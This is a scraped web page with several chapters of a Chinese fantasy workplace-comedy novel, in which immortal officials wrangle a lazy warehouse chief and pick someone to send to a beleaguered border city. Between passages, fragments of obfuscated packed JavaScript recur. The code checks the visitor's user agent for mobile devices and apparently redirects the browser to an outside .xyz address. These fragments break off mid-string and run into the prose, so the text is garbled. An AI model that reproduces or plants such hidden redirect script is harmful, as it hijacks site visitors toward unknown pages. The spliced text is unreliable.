l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950215|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灼春听见后面的嘀咕声，诧异地问。 麻惠良解释：“不是没饭吃的问题……只是我个人的看法噢……我觉得现在总体环境比较消沉，而且大家刚经历过一次大难，对未来不太抱有希望，总想着稳定为主，多囤点物资，以防不测。在这种心思下，市场就业也比较难，雇佣方压价降低福利减少岗位，劳动方累个半死也只能获得勉强生活的资金，于是恶性循环，生活的压力巨大，哪儿还有人敢给自己找压力结婚呢……” 灼春惊讶地看着她，麻惠良被她直勾勾的眼神盯着，反省自己是不是太自大说得太多了。 “小麻！” “对不起我……” 麻惠良下意识要道歉，忽地就被灼春激动地攀住双肩。 灼春：“面试的时候你要是能说出这样一番见解我不信哪个考官会不给你过！” “不不不……我只是瞎猫碰上死耗子，我乱说的……” “乱说说得言之有理即可啊！——我看你面试的能力没有问题，只要锻炼锻炼胆量就成！小麻，下次资具考不远了，要记得努力啊！下次咱一击必中！” 麻惠良不自信：“偶仙老师，您还是别对我抱有太大期望了，我觉得我可能还是过不了……” “怎么会！” 灼春立马鼓励她，说她这好那好的。 “资具考虽然难，但不至于把差的人招走好的人踢开。再不济，也是好的坏的全要了！我跟你说，咱们会里有个叫凤脊的，整天正事不干，上班就知道摸鱼睡觉，到点了多一秒钟都不耽搁立刻下班，就这种人都能通过资具考，你凭什么——” 提到凤脊，灼春想起来了。 对了，那家伙在藏宝殿，藏宝殿里多的是物资。虽然百姓生活的苦一时半会没法解决，但用物资稍微缓解下还是可以的？ 如果生活压力暂时减轻，那么配对率哪怕短暂也会上去，生育率多少也会有点增长，只要有个上升趋势，老大应该就不会念叨着取缔小说市场了吧？ “——走！我带你亲眼看那个资具考的底线！” 灼春当机立断，和远方的程冰津传音，问她状况如何，想着如果也不理想就一起去藏宝殿要物资搬物资去！ “嗯！我这边进展良好！大家都很亲切，我表示要给他们介绍对象，他们都答应了呢！我现在手头上已经有二十多份个人信息了！——灼春姐您有事吗？” “二十……！？” 程冰津在传音阵那头开朗地叙述，灼春在这头惊掉了下巴。 二十多份？她怎么做到的？这才多久，她连一份都没拿到手啊！——难道小麻猜测错了，人家拒绝她们只是单纯地不愿意和她俩讲话？ 灼春忍不住问她是怎么做到的。 程冰津开朗道：“我就是按您教我的说的呀！就是大家好像眼睛不太能见光的样子，都是遮着眼和我说话的，没说两句就‘好好好’地应下了我所有要求！咱们这都是好人呐！” ……嗯。 灼春觉得自己猜到她是如何完成任务的了。 嚯，真诚的笑容，纯粹不带一丝杂质——这样的杀器对普通人来说还是过于危险了。 灼春轻咳两声，称自己和小麻去藏宝殿请批物资，让程冰津继续收集信息——男方的差不多了，就去收集女方的。 26. 这是人吗 凤脊，相睦会一神人也，虽然是仙者来的。 据说在林鸿还没成为掌舵之前就考进了会里，凑巧，那时林鸿还是她的监考官。 据知情人士鸣某透露，凤脊以资具考笔试第一的优异成绩进入面试环节，并在面试，括弧武试，中大放异彩，俨然相睦会一颗冉冉升起的新星，令所有监考官报以厚望，认为此人将会带领相睦会走得更高更远！ 那时候资具考还不是很完善，笔试面试结束就没有道心等一系列进阶测试，所以凤脊顶着双试第一的光环成为相睦会一员，被安置在理事堂，当成理事长继承人培养——但是工作第一天，凤脊就和泄了气的气球一样赖在岗位上，工作不仅不积极，还乱来敷衍了事，常常不能按时保质完成，令当时的理事长熬夜补漏。 教育数次未果，当时的理事长一气之下上报当时的掌舵，将凤脊调到了斗武殿。 文的不行，武的总行吧？ 事实证明，大家对凤脊抱错了期望。 凤脊对自己调岗这事没有意见，文件下达后，当天都收拾东西离开理事堂（利用工作时间），次日乖乖到了斗武殿报道（利用工作时间）。 一开始领导们以为她是因为部门调性不合才颓废，见她一言不发地接受换岗，还称调岗调对了，说不定人家就是想去斗武殿，不然肯定要闹起来——结果他们发现，呵呵。 人家为什么不闹？ 因为不管到哪里她都一样消极怠工！ 晨练，别人都在练武场跑步了，她还在床上慢腾腾穿衣服；上午，开始团体演练了，她才到练武场做广播操热身；下午，别人在自主练习，她就躺在练武场睡大觉！ 你问她吧，她还振振有词，说自己严格按照工作时间工作，不早到不迟退，凭什么批评她？ 如果只是这样，真遇上大事也能担得起责任也就罢了。 可是遇到灾潮灾怪，需要派她出去战斗，一口一个推辞，一句一个歪理。只有实在无人可推，她才勉强上任。不过上了也不尽心，浑水摸鱼，只顾自己保命。 于是凤脊又被调到了藏宝殿，基本没啥事，只要做个出入库的记录和及时补充库存就行，这才稳定下来。随着工龄增长，熬着熬着也被她熬出了个司务的资历，于是越发繁重的工作任务更轮不到她头上了——都被层层下发到她手下的小执司那儿去。 至于为什么不辞退她…… 当时的掌舵欲哭无泪。 她以为双试第一还是个仙者的人，一定是大才，于是签了终身合同，如果辞退就有违天道…… 有了凤脊这个案例，相睦会进行了一系列改革。可以说，凤脊凭一己之力推动了资具考的制度进化和执司试用期制度。 能活着就被钉在历史耻辱柱上的，从古至今只此一位。 “那……我们找司务帮忙，她能同意吗？” 走在通往藏宝殿的路上，麻惠良颇为担忧。 “那家伙懒成虫了，我们不找她，找她下属。有个叫‘阿勉’的执司与我们情理所相熟，咱们到藏宝殿有事都可以找她。” 灼春想想藏宝殿的同僚们都觉得可怜。 谁家好人摊上这么个领导不疯魔啊？事儿事儿不干，责儿责儿不担，就杵在那里碍事，给所有人的顺利工作添绊脚石。 进入藏宝殿，映入眼帘的就是两侧案牍垒成山的拼接长桌，跟金鱼抢食似的拱进视线，每两摞文山之间都有一个奋笔疾书的执司，在巴掌大的缝隙里埋头工作，提笔写字的沙沙声响彻不绝。 真是贼恶劣的工作环境。 麻惠良惊疑地左右张望，不敢相信这个工作量。 灼春指着正对殿门最远处的高台：“喏，那是凤脊的办公桌。” 麻惠良着眼看去，只看到一张桌面上空无一物的办公桌。 好像……没有人啊？ 灼春叹气：“先去拜会一下凤脊吧，怎么说也是名义上的藏宝殿老大。” 灼春拉着麻惠良走近，后者这才看清空桌后真有一个人赖在椅子上睡觉，脑后还垫着枕头，身上盖着厚实毛毯——就是对方算不算得上“人”得另说。 她从没见过这么不修边幅的人——脏得一撮一撮的头发乱成鸡窝，插着几条棉絮，眼角眼屎都凝成石块了，脸上遍布鱼鳞似的皮屑，嘴角挂着口水印…… 这是仙者？ 这是双试第一的天才？ 这是“人”？？ 麻惠良小声问灼春：“灼春老师，你确定她是司务吗？她好像睡着了，我们要不要等她醒了再说？” “我没睡……” 凤脊懒洋洋的声音拖得极长，突然想起吓了麻惠良一跳。 凤脊慢悠悠地撑开半拉眼皮扫了灼春二人一眼，很快又闭上了眼睛。 “……我只是，眨眼的频率比较慢。” 麻惠良的认知被刷新。 她以为为百姓服务的执司都很正经，就算只是看起来……但是……她没想到还能这样狡辩。 灼春不太想和这个曾经放自己鸽子害自己挨打的家伙多说话，快速说明来意后，等她回应“哦”后，立刻领着麻惠良去找下首忙碌的一个黑眼圈执司。 灼春：“阿勉，找你拨点物资！” 阿勉抬眼木讷地看她们，揉了揉眼睛，问事由与项目还有需要哪些东西的申请。听灼春报完一长串内容，她挠挠头，面露为难。 阿勉：“可以是可以，仓库里也有……但是数量太大，我写完同意书你还要找司务一项一项签字，司务她……我觉得你还是去金钱殿找司库拨款买物资快。” “这样啊……没事，你把单子给我，我想办法找凤脊签。”灼春说。 找吉吾？那家伙死抠死抠，回头钱要不到，还倒贴了不少家当进去嘞！凤脊办事慢了点，总归没吉吾那样耗心力。 阿勉利用法器开出了半人高的一叠单子，灼春接过，被意料之外的重量压得手一软，一旁的麻惠良赶紧分了大半到自己手上。 阿勉好心提醒：“这些每一张需要司务亲手签字，如果用法术，日后有签名消失的风险，万一出事掌舵追究起来那就是你的责任了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950216|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灼春应声后，与麻惠良捧着单子到凤脊那边，“嘭”的一下放到桌上，凤脊被震得一激灵，掀开眼皮瞅了瞅，又睡了回去。 凤脊闭目：“已阅，过。” “过你大爷！起来阅过签字！” 灼春取下第一张单子放于桌面，从毛毯里拽出凤脊的手，塞进一支笔。 凤脊不情不愿地拿着笔在单子上签上自己名字，然后搁下笔再次躺回去，把毯子在脖颈处掖严实，收回手—— 灼春：“先别急着睡，这两摞都要签。” “……” 凤脊幽幽道：“那我不给批了。” 灼春：%＆艹※！ 灼春赔笑：“凤脊姐姐，帮忙签一下呗？签完我就走，绝对不耽搁您老人家休息～要是两摞您嫌多，那么我们今天就先签一摞呗？” 凤脊眯眼乜她：“哪一摞？” 灼春看着一高一低的两摞纸，估计各有五千张、四千张，就算不停地签，签完总共也得五六个时辰。她忍住把两份合二为一抖机灵的冲动，好声好气地回答“看您乐意”。 她想，哪怕今天只签一摞也成，大不了她再来一天嘛！ “看我的话……” 凤脊拖长尾音，吹了口气，纸堆上方的一张纸便被风吹了下来。 “就这摞吧。” 灼春眼角抽搐。 就这摞吧？ 这、摞、吧？ 一张也能算一摞？ 凤脊语气懒散：“你什么表情嘛，又不是我求人……我自尊心受挫了，好难受，今天没心情审批，明天再来吧……” “别介别介！” 灼春立马伏低做小哄着凤脊签字。求了半晌，凤脊才慢悠悠地签了第二张。灼春求她接着签，但她一会儿说胳膊酸了，一会儿说口渴了，一会儿说空气湿度太高动手阻力大……反正就是有各种借口不工作。 灼春好话说尽，一天下来也才签了六张单子。 本来她还要再接再厉，谁料凤脊忽地来了精神，原地弹起，缩地成寸，从藏宝殿消失。 灼春：“……” 为了逃避工作真逃了？ “偶仙，明天再来吧。下班时间到了，司务回家了，就算你追到她家她也不会工作的。”阿勉在岗位上收拾东西下班的同时好心提醒。 “你们也下班了？”灼春惊诧。 阿勉背上包，与其他同事前后离开岗位。 阿勉笑得开心：“藏宝殿从不加班。” 灼春：…… 嚯，凤脊带的好头。 说着阿勉就到了门口，临走她还回头劝她们赶紧走，不然最后一个离开就要负责关门的。 麻惠良建议她们要不先把六张单子的物资拿走分了，灼春没同意。 一粒米一粒米地送能有什么作用？只会平白消耗物资罢了。 “……小麻，你去和小程汇合，把她到手的资料放到所里收好。我有事离开一下。” 灼春与麻惠良分道而行。 她就不信没人管得了凤脊了！ 27. 辅助来了 “老大！！凤脊消极怠工你管不管啊！！我那么努力工作也是为您、为会里分忧，她不帮忙也就算了怎么能拖我后腿呢！！” 林鸿听见灼春由远及近的哭喊声就头疼。 她不由得揉额角：“凤脊消极怠工你才知道吗？她都多少年的资历了，我要管……最多就是罚她不许领月钱，不给休假。可这些她都不在乎不需要，罚不罚都没差。” 她是不想管吗？她是管不了。 凤脊受的“不领月钱”“不能休假”惩罚，已经延到往后两千年了，再往后续的话，她是死猪不怕开水烫，虱子多了不嫌痒，但若给其他仙者造成不好的启示，那问题就大了。 林鸿：“要不……我让慎刑殿的人抓她去劳改一段时间？” 灼春反对：“你把她关进去了，不正好给了她一个不用工作的借口？该走的流程又少不了，不行不行！” 灼春想了想，向林鸿讨要一张必须给她审批单子的文件。 林鸿心想，她说的话要管用，凤脊哪会是这德行。但是一份文件能让自己清净片刻也是好的。 林鸿刚要落笔写上“凤脊”二字，灼春就拦住她，让她写“吉吾”。 林鸿僵住：“你不是要找凤脊审批吗？写吉吾名字干嘛？” 灼春：“写给凤脊，她听吗？——我决定不在凤脊那儿浪费时间了，还是找吉吾要钱买东西快。” 林鸿：“……” 林鸿撕毁了这张纸，重起一张，写明让吉吾尽力配合偶仙工作。 “金钱殿的事务，吉吾自有一套处理的规范，我不好滥用职权，越俎代庖。” 她把写好盖章的文件交给灼春，说着她还有事要忙，把灼春推出了她的地盘。 灼春拿着林鸿亲笔找到吉吾，对方看完轻笑，不意外地拒绝拨款。 灼春指着“配合”二字愤愤不已，但吉吾轻飘飘一句“年初没有拨下给情理所这笔开销的预算”就堵了回去。 “……姐，我这也是为了给咱们创造赚钱的条件啊，这笔钱花出去日后我们还能赚回来！——您就网开一面叭！”灼春可怜兮兮地哀求。 吉吾笑：“即便你这样做，会有利于我们最终的合作，我也不能同意。这么一大笔资金放出去，公账不被掏空也差不多了。就算日后挣的钱补上，一来二去，我就挣个人工费，不值当。” 灼春叹气服软：“我何尝不知道这不现实？但是为了暂时提高民众安心感，我不得不给他们准备一大批物资……凤脊死不配合，那我可不只能来找你了？” 吉吾自然清楚凤脊的德行，对此她深表同情，但是钱照样不批。 ——然而从长远考虑，灼春的忙还不得不帮。 灼春：“既然你不肯出钱，那就出主意！反正老大可是亲笔写了的！你要尽、力、配合我！啥都不干怎么叫尽力！” 吉吾挑眉：“图穷匕见了啊。” 灼春笑嘻嘻地凑过去给她捏肩捶背，活生生一个狗腿子。 “姐，我自己的工作呢不用您操心，就是完成任务之前有这么一点~小波折，您怎么说都是咱会里数一数二的智囊，就帮我想想办法呗～” 吉吾享受了一会儿按摩，才慢悠悠地应下本来就打算同意的要求。 吉吾说：“凤脊那边我会帮你想想办法打个辅助，但你这些天不可懈怠，必须天天磨她，最好张扬一点，闹得人尽皆知。” 灼春停下揉捏的动作：“难道你想用舆论倒逼凤脊吗？” 吉吾示意她继续按摩，却没有解释更多。 “反正你就这么做，也别想太多。不出意外，用不了几天凤脊就会主动找你谈条件，到时候你抓紧机会就行。” “姐！您就是我亲姐！” “嗯，给亲姐加两个钟。” 吉吾大智囊都发话了，之后的数日，灼春每天都屁颠屁颠地去找凤脊，端茶送水捏腰捶腿，卑微得可怜。 每次去找凤脊，她都故意在相睦会里里里外外兜个大圈，让所有人都看到；给凤脊泡茶也特意在会里绕一大圈，再去后山打泉水；送点果子等零嘴也不直接买，而是跑会里大食堂，趁着饭店人多现场做…… 在灼春高调的默默努力下，此事很快在相睦会里传开，理性的人在指责凤脊，感性的人在同情灼春，被灼春司过劫的人在幸灾乐祸—— 天道轮回报应不爽！灼春你应得的！ 主殿里的林鸿听闻此事，心想难怪最近针对灼春的投诉变少了，看来是见她日子过得不好，那些小心眼的同僚们都宽心了——要不以后有事没事虐一下灼春，给自己减少一点不必要的工作量？ 林鸿暗笑着查看边城寄来的关于灾怪情况的文书，越看神情越凝重。 当天林鸿就开了一个紧急小型会议，将相关人员聚集起来商量。主要与会人员有她自己、吉吾、凤脊、小扶疏等斗武殿仙者和理事堂的理事长英雌，共二十余人，都按时赴约。 人到齐后，林鸿立马陈述了这次会议的主题。原因无他，就是边城那边力不从心，需要再请一个有头脑的支援。 小扶疏冷哼：“龙缨越发不中用了，‘战神’的荣封不如让贤。” “哎，话不是这么说的。”林鸿为龙缨辩解，“战神在一线作战，捕捉灾怪效率极高，但是源头不控，捉一只多两只，她分身乏术情有可原。因此我们才要拨一个人去追根溯源、正本清源。” 灾怪与灾潮本同末异，灾潮的形成既有灾怪又有天灾，所以比之灾潮，灾怪更好对付。只是，因为灾怪是由生灵的负面情绪凝集而成，形态本领不一，所以对抗灾怪的最好办法是消除源头的负面力量，光是对抗灾怪本身属于治标不治本。 说起来，事情会发展成这样有她的原因。 正因她一开始错估了边城的灾怪肆虐情况，所以才使得那边每下愈况，至此发展成战神和百捷联手都无法控制的糟糕局面。据信报，最难捉的一只灾怪能吞噬几乎所有的施法讯号，所以边城那里几乎与外界失联，就连战神她们传信过来都费了不少工夫…… 凤脊在座位上昏昏欲睡。 她不知道自己怎么被喊来这里，怎么看她都不像有智慧可以坐镇敌后的人……估计是需要她签字同意物资出库吧。也有可能是与会人员太少，不像开会，拿她凑数…… “追根溯源耗时耗力，现在龙缨她们在边城那边已经很久了，不如速战速决，让藏宝殿司务带着大批量物资过去分发给边城百姓，暂且缓解源头压力。待龙缨腾出手来，再由她处理根源。”坐在林鸿边上的吉吾忽地开口提议。 凤脊：！？ 怎么还有她事儿呢！？出公差？还是到边城？还要干活发物资？ 她一想到要出公差就累得四肢无力恨不能睡死过去长睡不醒。 不不不……要相信林鸿，林鸿应该会觉得这个主意不靠谱，应该会否决的…… “唔……事出紧急，扬汤止沸也不失为……”林鸿捏着下巴，似乎在考虑此方案的可行性，而且几乎已经得出可行性高的结论了。 这怎么行？ 凤脊正气凛然道：“司库，你这话说得太不负责任了！身为百姓的公仆，我们工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950217|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么可以敷衍了事！要么不做，要做就要做到最好！把问题从根上解决了！” 眼瞅着火要烧到自己，凤脊一反常态地积极发言。 除了吉吾，在场所有人都用一种“你被夺舍了吧”的诧异眼神看她。 真要当好员工，不如把自己那邋遢的仪容整改整改先？ 凤脊热血喊道：“不用等战神挪空！我们直接派一个运筹帷幄的文官过去，直接掐断源头！还少了一段发放物资的弯路！我提议！让理事堂的乔江山去！” 众人对视点头。 嗯，没被夺舍，还是那个好逸恶劳的凤脊。 头发花白的英理事长清了清喉咙，回应：“江山确实擅长此类工作，但……她寂心期已至，现如今在轮回镜中渡劫，出不来。” 林鸿遗憾：“既如此，便不可强求了……” “说起这事，司务最近和司劫走得挺近喔？”吉吾突兀地轻笑出声，调侃道。 “咳，说正事呢，不要跑题。” 林鸿无奈训斥了她，继续说道：“那么凤脊……” 凤脊：“掌舵！斗武殿的小扶疏能文能武，去了边城一定能助战神她们一臂之力！我举双手为小扶疏作担保！” “小扶疏啊……”林鸿喃喃。 凤脊心想，虽然自己说得夸张了点，但她可没夸错。 小扶疏确实没乔江山能力强，可用点心还是能以勤补拙的。况且，小扶疏本身就是斗武殿一员大将，文事解决了，还能顺便帮忙捉灾怪！ 就是不知道他本人愿不愿意…… 嗐！小扶疏臭屁，夸他两句他自己就抢着上了！ 凤脊瞄了一眼那优雅支腮满目高傲的美男子，觉得自己刚刚的话八成夸到位了，剩下的就看他自己怎么自吹自擂地揭榜了。 凤脊一段话说完，众人的目光纷纷投向小扶疏。 小扶疏迎上众人视线，轻哼一声，放下手，靠在椅背上，眉毛一挑，露出戏谑的神情。 “现在知道我的重要性了？呵……你让小爷去小爷就得去？我、不、干。” 凤脊：……？ 她都准备好鼓掌欢送小扶疏了，然后他……居然拒绝了？ 不是……他拒绝了？？ 这家伙不是耳根子最软的吗？她夸错方向了？ 凤脊想了想，暗暗深呼吸，继而语气夸张地奉承小扶疏：“风神您就不要谦虚了！您的实力大家有目共睹，这份差事谁有您让人放心啊！我们这也不是推托……着实是只有您最能胜任这个岗位！您要是不干，我们所有人的工作都没法继续了呀！说不定咱相睦会就要散伙了呢！您就大发慈悲帮我们一把吧！” 凤脊嘴里的好话不要钱一样地往外吐，林鸿听着，有种多年前在面试中初见凤脊的错觉。 “是么？呵呵呵……那我就……” 小扶疏被夸得通体舒畅飘飘欲仙，但是就在他要答应的前一刻，他忽地顿住，瞪了眼凤脊，双手抱胸，按捺住自己的情绪，一秒冷漠。 小扶疏哼声：“你以为我会答应吗？做梦！” “……” 凤脊见套不住小扶疏，着急忙慌胡乱攀咬别的同事，拼命把自己撇出去。但小扶疏都没上钩，其他人就更不咬钩了。 眼瞅着场面越来越闹腾，林鸿在吉吾提议下控住全场，称会议久了让大家暂时休息一会儿。 “——顺便，你们也思考一下派去边城支援合适的人选。司务虽然……但建议可取，能一次性解决的事就不要分两次做，浪费财力物力人力。” “好——” 28. 茶歇时间 林鸿一走，几乎所有人都卸下力，以各种让自己放松的奇怪姿势坐着。 吉吾只是靠在椅背上，右手搭在桌面转笔。 忽然，凤脊拖着椅子到她身边坐下，黑着脸，压低声音质问她为什么。 吉吾浅笑，视线没有离开手中转动的笔。 “……” 凤脊等了一会儿没回应，深吸一口气，换只手肘压腿。 “休息时间不长，我也不跟你废话。你赶紧想办法把林鸿派我出差的想法打消！这都是你惹出来的事！咱们往日无怨近日无仇，你何苦把我拉进局？我这又没有油水给你捞！” 吉吾笑笑：“司务贵人多忘事……其实因为偶仙，我金钱殿最近也不太好过呢。” “……” 凤脊多年没动过的脑子基础功能尚在，稍稍花了些时间，还是想明白了对方话里的意思。 想必是灼春在自己那儿没得到想要的东西，所以也去金钱殿讨要了。 “……司库，咱们都是受害者，受害者何苦为难受害者！你不去找灼春麻烦，反倒来挑我的刺，这合理吗！” “司务啊，咱们都是给人打工的，打工人何苦为难打工人，你觉得我能控制掌舵的决定吗？” 吉吾用差不多的话回应，凤脊被堵得哑口无言。 “……那你觉得，谁有可能被掌舵选中派出去啊？” “你。” “啊！？” “——还有小扶疏、洛酉……” 凤脊悬着的心稍微落了点。 原来她只是在报人名…… 可是自己的名字靠前哎！是不是说她中选的可能性最大！？ “——掌舵不是说待会投票决定吗？那么结果出来之前每个人都有可能嘛。”吉吾淡淡补充。 凤脊痛苦地捏着胸口：“我要怎样才能逃出骡马的命运……” 吉吾叹气：“听说乔执司是因为在渡劫所以没来开会哦？唉可惜……” 凤脊：！！ 发人深省！ 她立刻冲出场外和灼春连线。 没想到，折磨她多日的灾星居然成了救命福星，世事难料啊…… 连上后，灼春对她热情打招呼，还问她什么时候结束会议，要来接她。 凤脊：“这个先不忙，我就是想和你说，我想尽快去你那儿渡个劫……” “渡劫？你寂心期到了？” “……” “噢——该不是你是想靠渡劫逃避工作吧？” “……我是深感自己能力不足，想历练一番提升能力再更好地工作。还有，谁规定了不是寂心期就不能渡劫？” 那头的灼春嗤笑一声明显不信。 “好啊，帮你可以……但你得把我剩下的申请单全签了，签完我再帮你渡劫。” “你……趁、火、打、劫……” “那你被劫不被劫呢～”灼春语气嘚瑟起来。 “昂……”凤脊从喉咙里心不甘地挤出这个字。 前狼后虎，只能两害相权取其轻了……签单子只是手累，去边城可是身心俱累！ 茶歇结束，林鸿先让大家在投票箱里匿名投票。凤脊回到会场，故作悲痛地宣布了一个坏消息—— “各位，我非常惭愧……这次外派我不能参与……鄙人马上就要到司劫那儿渡劫，实在有心无力……公平起见，投票我也不参与了哈！” 但是说着说着逐渐轻快的语气暴露了她的内心。 有人怀疑：“你寂心期到了？” 凤脊昂首：“我寂心期过了。” 仙者隔段时间会迎来寂心期，法术失灵，需要入轮回镜渡劫，回来后才能结束寂心期。 一般来说，寂心期到来仙者本人会得到天道的提示，然后立马请其他仙者为自己司劫。但不排除仙者自身忙碌，或者外界环境不支持的情况，所以天道非常贴心地将寂心期的时间设置为一年，一年的间歇性法术失灵后，还有十年丧失法术的寂心后期，只要在这十一年内完成轮回镜渡劫，便可继续当仙者，否则便再也使用不了法术、修习不了法术，比修习法术的普通人还要弱小，沦为无法接触法术的凡人，空有曾为仙者的头衔。 凤脊当然还没到寂心期，不过这不妨碍她睁着眼睛说瞎话。 凤脊：“其实我早就该渡劫了，但是前些年闹那事——你们也知道，是吧？为了不给大家添麻烦、拖后腿，我硬是忍着……忍到现在，再不渡劫我就法力全失了，更帮不上什么忙，只好……是吧！大家那么善良大度有同事情，相信大家会体谅我的哈！” 众人强扯出笑，纷纷表里不一地说是。 对仙者而言寂心期是最需要重视的阶段，其他人不好说什么。 至于是真的还是借口，除了本人没人知道，旁观者只能当作真的了。 凤脊扔下这一道保命符后立刻恢复颓废模样，烂泥似的瘫在座椅上假寐。 斗武殿有几位执司没眼看，凑在小扶疏身边嘀嘀咕咕。 “瞧她那样，像是在乎法力不法力的人吗？八成是逃避工作的借口。” “可不！她成日尸位素餐，哪儿有需要用上法术的工作！我看她还不如没了法力变回凡人去呢！体验体验人间疾苦，说不定还能改改懒惰的毛病。” “就是，不想干就别占着职位了嘛！她下头多少上进的同事！就因为资历没人家高，愣是升不上去！” “就因为藏宝殿的头是她，大家能不到那儿办事就不到那儿去！不信看看偶仙，为了办点事，这段时间被逼成什么样了！啧啧……” “嘿，对了，司务刚开罪偶仙，还敢让她给自己司劫？勇气可嘉喔～” “哎哟我都没注意！这么一说真是哈！偶仙司劫本来就心狠手毒，再加上私仇……哎，你们说司务她——” “——你们何时去生灵殿兼职了？” 小扶疏眉眼一挑，锐利的目光扫过身边这几位，后者即刻闭嘴默默落座。但，小扶疏并没有就此罢休。 他冷哼一声，不轻不重地说道：“那么喜欢说，回头我与兽医仙说一声，让你们去她那儿帮工，一次性说个够，说到哑巴了出不了声了再回来。” 斗武殿执司们低头抠手：“……” 奇了怪了，大家都是执司，都是仙者，都是战神下属，级别地位一致……怎么莫名其妙总感觉低这家伙一头？ 在场诸人除了懒虫凤脊都已投完票，林鸿正打算让下属赵执司刘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950218|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 执司整理投票箱唱票，忽然感觉有人给她传讯，她瞅了一眼发现是灼春发来的消息，关乎轮回镜。她犹豫了一番，觉得轮回镜的事关乎全体仙者，不得不重视，于是让刘执司他们继续唱票，自己出去和灼春传音。 ——“放你家的轮回镜怎么了？怎么突然又要一面？莫非你把镜子打碎了？”林鸿质问。 灼春赔笑：“我哪能那么不靠谱！轮回镜好着呢！只不过，这面给小乔用了，我还需要一面给凤脊用嘛～” 林鸿闻言叹息：“不行啊……” 灼春以为她是不愿意让自己再往家里搬镜子，一想反正最近战神不在，轮回所附近没有危险，于是说只要权限，她直接让凤脊去轮回所渡劫，不搬动轮回镜。 林鸿无奈：“那也不行。不是我小气，是实在没有多余的轮回镜了。” 灼春奇怪：“啊？怎么了？轮回所里不是还有四面吗？” 林鸿反问：“你上次离开轮回所的时候锁门窗了没？” “我关了啊！”灼春当即否认，不愿让自己乱背锅。 “但没锁是吧？”林鸿摇头，“前两天我路过那儿，发现窗户被风吹开，有几只老鼠溜进去把四面轮回镜全撞倒了，现在还在修理。” “啊？可是……我……但……不会……我没……” 灼春慌了，轮回镜是神器，不会要她赔吧？ “你别紧张。我说这件事只是告诉你，现在就你那一面轮回镜能用，你多加小心。所以呢，你多要一面轮回镜的要求，我无法答应。” 灼春悬着的心终于放下了。 林鸿又问：“哎，你说江山还在渡劫，情况怎么样了？既然她在渡劫，那凤脊是不是暂时没法入轮回镜了？” “啊这、那个……”灼春在那头支支吾吾起来。 林鸿心下了然：“行，那我这就替你跟凤脊说一声，免得你俩对话起来又闹矛盾要我调解。——记着人情啊！今天我光给你当居委会大妈了……” “啊？不是！等下！老大！” 林鸿一边走进会场，一边让刘执司和赵执司不要忙了，把投票箱收起来，不用唱票了。 林鸿面上难掩喜色：“不用投票了，最合适的人选已经出来了。——刚刚偶仙，也就是司劫，灼春，和我沟通了下。她本来是想问我借多一面轮回镜给司务凤脊用，因为现在小乔执司在渡劫嘛！但是呢，因为前两天轮回所闹老鼠，其余几面轮回镜全打破了用不了，目前也在加急修理，所以就没有办法出借——这件事我之后会通知全会——现在全会就只有灼春那儿一面轮回镜可用了……” 事不关己高高挂起的凤脊一下子支棱起来，坐直了身子目不转睛地瞪着林鸿。 不是吧还能这样？什么意外的转折点！没人跟她说啊！这话里话外的意思不就是说让她去边城了吗！？ “那个掌舵！！” 凤脊立刻举手发言：“我觉得我们还是唱票吧！那可是民意！要倾听群众的呼声啊！独断专行是没有好处的！” 小扶疏一挥扇，直接给她禁言。 凤脊急得满头冷汗，但又不能自己给自己解除法术——她一施法不就代表她还有法术，没到寂心后期呢嘛！那不啪啪打自己脸！ 29. 劳动光荣 ——“所以小乔执司即将出关，正好让她出关后有的放矢，我决定，派她支援边城。” 林鸿话音刚落，凤脊凝滞的呼吸瞬间重启，长呼一口气重重往后靠。 还好还好，不是她…… 作为乔江山的直属上司，英理事长关切地问林鸿她具体什么时候能出关。 “这个嘛……”林鸿拖长了声音，扫了一眼上不得台面的凤脊，“就这两天，但具体什么时候，偶仙说还得看司务。” “我？”凤脊刚放松又被点名，心再一次悬了起来。 林鸿点头，道：“司务啊，其他的事我也管不了你，但这次这个事你必须上心！要是小乔执司明天还不出现，那这个人选——” “保证小乔执司明天出征！！”凤脊保证的声音响彻云霄。 人选定下，会议便没有继续的必要了。林鸿一宣布结束，凤脊就噌地跑远了，看方向是去灼春家。会上执司三五成群，陆陆续续离开，林鸿则交代自己手下的两个执司整理场地进行收尾。 赵执司抱着投票箱茫然问林鸿该怎么处理，还需不需要统计票数。 林鸿瞅了一眼，想了想，还是让他们统计出来。 